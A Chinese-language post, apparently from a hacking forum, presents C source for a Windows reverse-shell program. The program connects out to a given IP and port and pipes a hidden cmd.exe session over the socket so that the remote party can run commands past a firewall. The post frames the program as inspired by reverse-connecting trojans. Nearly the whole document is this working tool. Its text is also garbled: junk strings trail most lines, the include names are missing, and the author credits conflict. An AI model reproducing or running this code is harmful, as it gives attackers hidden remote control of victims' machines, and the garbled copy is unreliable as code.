这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _oV;Y`_
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/* ============================== 1q?b?.
Rebound port in Windows NT PpxLMe]
By wind,2006/7 qVHXZdGL
===============================*/ )+Nm@+B
#include ?MW*`U
#include 9+z5$
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#pragma comment(lib,"wsock32.lib") TT85G
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void OutputShell(); rNi]|)-ET
SOCKET sClient; $ 8"we
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a\K__NCrX
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void main(int argc,char **argv) |JUb 1|gi
{ :Dh\
WSADATA stWsaData; j{U#g8
int nRet; LnwI 7uvq
SOCKADDR_IN stSaiClient,stSaiServer; xJ-(]cO'
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if(argc != 3) S!LLC{
{ U{ZE|b.?b
printf("Useage:\n\rRebound DestIP DestPort\n"); r8R]0\
return; YmBo/I M
} ]+U:8*
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WSAStartup(MAKEWORD(2,2),&stWsaData); Ok0zgi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g':/hlQ
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stSaiClient.sin_family = AF_INET; ^~p^N <
stSaiClient.sin_port = htons(0); {6y@;Fd
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @;6I94Bp
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9_$i.@L1
{ T%[&[8{8
printf("Bind Socket Failed!\n"); YK=o[nPmK
return; bOB<m4
} 1WTDF
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stSaiServer.sin_family = AF_INET; sI/]pgt2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \zdY$3z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;0Vyim)S]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) / LH#
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{ @Sik~Mm_h
printf("Connect Error!"); Gp l
return; OI8Hf3d=
} jD<fu
OutputShell(); M1Frn n
} ?cZ#0U
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void OutputShell() l[,RA?i
{
{ `<?{%ja
char szBuff[1024]; (TX\vI&
SECURITY_ATTRIBUTES stSecurityAttributes; o4[
OSVERSIONINFO stOsversionInfo; +zl2|'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h/LlH9S:!
STARTUPINFO stStartupInfo; ^(Y}j8sj
char *szShell; !1X^lFf;~
PROCESS_INFORMATION stProcessInformation; z PW [GkD
unsigned long lBytesRead; KTmduf7DL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6Mh;ld@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $ ]fautQlt
stSecurityAttributes.lpSecurityDescriptor = 0; GKk>;X-
stSecurityAttributes.bInheritHandle = TRUE; 96VJE,^h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hja;d1yH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kPuI'EPK
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z$X[x7e.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x;w^&<hQ\
stStartupInfo.wShowWindow = SW_HIDE; G*`H2-,
stStartupInfo.hStdInput = hReadPipe; ,Ky-3p>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f%g^6[
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GetVersionEx(&stOsversionInfo); "3?N*,U_
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switch(stOsversionInfo.dwPlatformId) 8Qo~zO
{ yF _@^V
case 1: m|CB')
szShell = "command.com"; u2FD@Xq?
break; <=yqV]JR
default: &az
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szShell = "cmd.exe"; t_+Xt$Q7C
break; ='\Di '*
} ./KXElvQ%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cu@i;Hb@
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send(sClient,szMsg,77,0); fOHgz,x=
while(1) )-u0n],
{ `pTCK9
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9>OPaLn
if(lBytesRead) W ZAkp|R
{ 4g%BCGsys
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kp$w)%2JW
send(sClient,szBuff,lBytesRead,0); (b*PDhl`+
} k^%Kw(/
else fqY;>Z
{ ^^;#Si
lBytesRead=recv(sClient,szBuff,1024,0); 9_4bw9A
if(lBytesRead<=0) break; nYvx[
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MB"TwtW
} y$Y*%D^w
} c*@#0B
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return; ^W*T~V*8
}